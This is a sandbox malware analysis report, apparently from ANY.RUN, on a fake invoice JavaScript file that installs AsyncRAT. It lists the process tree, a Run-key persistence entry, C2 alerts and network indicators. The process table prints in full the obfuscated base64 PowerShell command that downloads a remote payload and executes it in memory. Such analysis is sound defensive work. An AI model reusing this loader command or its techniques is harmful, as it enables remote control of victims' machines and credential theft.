| File name: | ABRIR DOCUMENTO EQUIVALENTE A FACTURA ELECTRONCIA FEI 760023 8002544811 ALCALDIA MUNICIPAL DE CICUCO |
| Full analysis: | https://app.any.run/tasks/4c8b121a-6325-489e-bfb0-052b34874206 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | May 16, 2025, 00:29:37 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/javascript |
| File info: | JavaScript source, ASCII text, with CRLF line terminators |
| MD5: | 77240F2FC1022B04B83CF5562CC1DEFF |
| SHA1: | 45616E8C54F8A24EAEFA431B71252E9440DB3419 |
| SHA256: | 004E10D24E9A7FA5385AC110F5996C7CC4C8AFACAB8D2AAC04203A601E642A58 |
| SSDEEP: | 768:CLNTIotxLQH/7iY7fj942lp9toYiiY11pHuup8a1YTYYuluRw1O3k6GumQLvruLY:0/EH/Wuj/A/EH/Wuj/b |
MALICIOUS
Opens an HTTP connection (SCRIPT)
- wscript.exe (PID: 7212)
Creates internet connection object (SCRIPT)
- wscript.exe (PID: 7212)
Sends HTTP request (SCRIPT)
- wscript.exe (PID: 7212)
Run PowerShell with an invisible window
- powershell.exe (PID: 7496)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 7496)
Starts Visual C# compiler
- powershell.exe (PID: 7496)
ASYNCRAT has been detected (SURICATA)
- csc.exe (PID: 7988)
Actions looks like stealing of personal data
- csc.exe (PID: 7988)
Steals credentials from Web Browsers
- csc.exe (PID: 7988)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 7496)
SUSPICIOUS
Runs shell command (SCRIPT)
- wscript.exe (PID: 7212)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 7212)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 7212)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 7212)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 7212)
Base64-obfuscated command line is found
- wscript.exe (PID: 7212)
Executes script without checking the security policy
- powershell.exe (PID: 7496)
Potential Corporate Privacy Violation
- wscript.exe (PID: 7212)
- powershell.exe (PID: 7496)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 7496)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 7496)
Likely accesses (executes) a file from the Public directory
- cmd.exe (PID: 7904)
Contacting a server suspected of hosting an CnC
- csc.exe (PID: 7988)
Connects to unusual port
- csc.exe (PID: 7988)
INFO
Checks proxy server information
- wscript.exe (PID: 7212)
- powershell.exe (PID: 7496)
Converts byte array into Unicode string (POWERSHELL)
- powershell.exe (PID: 7496)
Disables trace logs
- powershell.exe (PID: 7496)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 7496)
Gets data length (POWERSHELL)
- powershell.exe (PID: 7496)
Reads the computer name
- csc.exe (PID: 7988)
Checks supported languages
- csc.exe (PID: 7988)
Reads the machine GUID from the registry
- csc.exe (PID: 7988)
Reads the software policy settings
- csc.exe (PID: 7988)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
138
Monitored processes
9
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7212 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\ABRIR DOCUMENTO EQUIVALENTE A FACTURA ELECTRONCIA FEI 760023 8002544811 ALCALDIA MUNICIPAL DE CICUCO.js" | C:\Windows\System32\wscript.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 7340 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7372 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | — | SppExtComObj.Exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7496 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$thematology = 'JABhAGQAZQBuAG8AcABoAGwAZQBnAG0AbwBuACAAPQAgACcAMAAvAGkAQQBjADYAUgA2AGIAMgAvAGQALwBlAGUALgBlACMAcwBhAHAALwAvADoAcwBwACMAIwBoACcAOwAkAHMAeQBtAGEAcgAgAD0AIAAkAGEAZABlAG4AbwBwAGgAbABlAGcAbQBvAG4AIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAHAAYQBsAGUAbwBjAG8AcgB0AGUAeAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA1ADEANQAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAcABzAGUAdQBkAG8AYwBvAGwAbwB1AHIAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAcABzAGUAdQBkAG8AYwBvAGwAbwB1AHIAaQBuAGcALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACcATQBvAHoAaQBsAGwAYQAvADUALgAwACcAKQA7ACQAaABhAHIAcABzAGkAYwBoAG8AcgBkAGwAaQBrAGUAIAA9ACAAJABwAHMAZQB1AGQAbwBjAG8AbABvAHUAcgBpAG4AZwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABwAGEAbABlAG8AYwBvAHIAdABlAHgAKQA7ACQAVABvAG0AZQBsAHQAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGgAYQByAHAAcwBpAGMAaABvAHIAZABsAGkAawBlACkAOwAkAGcAbABlAGEAbQBlAHIAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAawBhAGgAYQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABiAGEAcwBoAGYAdQBsACAAPQAgACQAVABvAG0AZQBsAHQAeQAuAEkAbgBkAGUAeABPAGYAKAAkAGcAbABlAGEAbQBlAHIAKQA7ACQAQQBrAGsAYQBkAGkAYQBuAHMAIAA9ACAAJABUAG8AbQBlAGwAdAB5AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBrAGEAaABhACkAOwAkAGIAYQBzAGgAZgB1AGwAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABBAGsAawBhAGQAaQBhAG4AcwAgAC0AZwB0ACAAJABiAGEAcwBoAGYAdQBsADsAJABiAGEAcwBoAGYAdQBsACAAKwA9ACAAJABnAGwAZQBhAG0AZQByAC4ATABlAG4AZwB0AGgAOwAkAG0AaQBjAHIAbwBtAGUAcgBpAHMAbQAgAD0AIAAkAEEAawBrAGEAZABpAGEAbgBzACAALQAgACQAYgBhAHMAaABmAHUAbAA7ACQAdABlAGwAbwBkAGUAbgBkAHIAbwBuAHMAIAA9ACAAJABUAG8AbQBlAGwAdAB5AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGIAYQBzAGgAZgB1AGwALAAgACQAbQBpAGMAcgBvAG0AZQByAGkAcwBtACkAOwAkAG4AYQB1AHAAbABpAG8AaQBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAZQBsAG8AZABlAG4AZAByAG8AbgBzACkAOwAkAFAAcgBpAHMAaAB0AGkAbgBhACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAG4AYQB1AHAAbABpAG8AaQBkACkAOwAkAGMAaABlAGUAcwBlAGwAZQBzAHMAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJABzAHkAbQBhAHIALAAnADEAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwByAGUAcwBpAHMAdABpAHYAaQB0AGkAZQBzACcALAAnAGMAcwBjACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnAGoAcwAnACwAJwAnACwAJwAnACwAJwAnACwAJwAyACcALAAnACcAKQApAA==' -replace '','';$saliniform = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($thematology));Invoke-Expression $saliniform;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7504 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7904 | "C:\Windows\System32\cmd.exe" /C copy *.js "C:\Users\Public\Downloads\resistivities.js" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7916 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7988 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
Total events
10 146
Read events
10 144
Write events
2
Delete events
0
Modification events
| (PID) Process: | (7212) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: E5BA100000000000 | |||
| (PID) Process: | (7496) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Path |
Value: C:\Users\Public\Downloads\resistivities.js | |||
Executable files
0
Suspicious files
2
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7496 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qqihjm02.ty5.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7496 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_gprml4ad.h2l.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7496 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:0D3ABCFED0A0DD092BA610A4188C848D | SHA256:4CE16523F53D8232ED494A831E2BF252481DBBA0BCF412EDE9369E122CEC96EC | |||
| 7904 | cmd.exe | C:\Users\Public\Downloads\resistivities.js | binary | |
MD5:A573C3AF0F85B9D82FAB4C5A50710C88 | SHA256:14BBE535127ED37522C80C1687335DEB5B24B6BCACD74DCDA81C276AC7D49E66 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
25
DNS requests
17
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 2.16.168.124:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
7212 | wscript.exe | GET | 301 | 23.186.113.60:80 | http://paste.ee/d/Hm4Oj9S7/0 | unknown | — | — | shared |
6544 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
5556 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
5556 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2104 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
6248 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 2.16.168.124:80 | crl.microsoft.com | Akamai International B.V. | RU | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
7212 | wscript.exe | 23.186.113.60:80 | paste.ee | — | — | shared |
7212 | wscript.exe | 23.186.113.60:443 | paste.ee | — | — | shared |
2112 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
paste.ee |
| shared |
client.wns.windows.com |
| whitelisted |
archive.org |
| whitelisted |
dn721902.ca.archive.org |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
7212 | wscript.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
7496 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
2196 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain |
2196 | svchost.exe | Misc activity | ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain |
7988 | csc.exe | Domain Observed Used for C2 Detected | REMOTE [ANY.RUN] AsyncRAT SSL certificate |
7988 | csc.exe | Domain Observed Used for C2 Detected | ET MALWARE Generic AsyncRAT/zgRAT Style SSL Cert |
7988 | csc.exe | Domain Observed Used for C2 Detected | ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server) |
7988 | csc.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] AsyncRAT Successful Connection |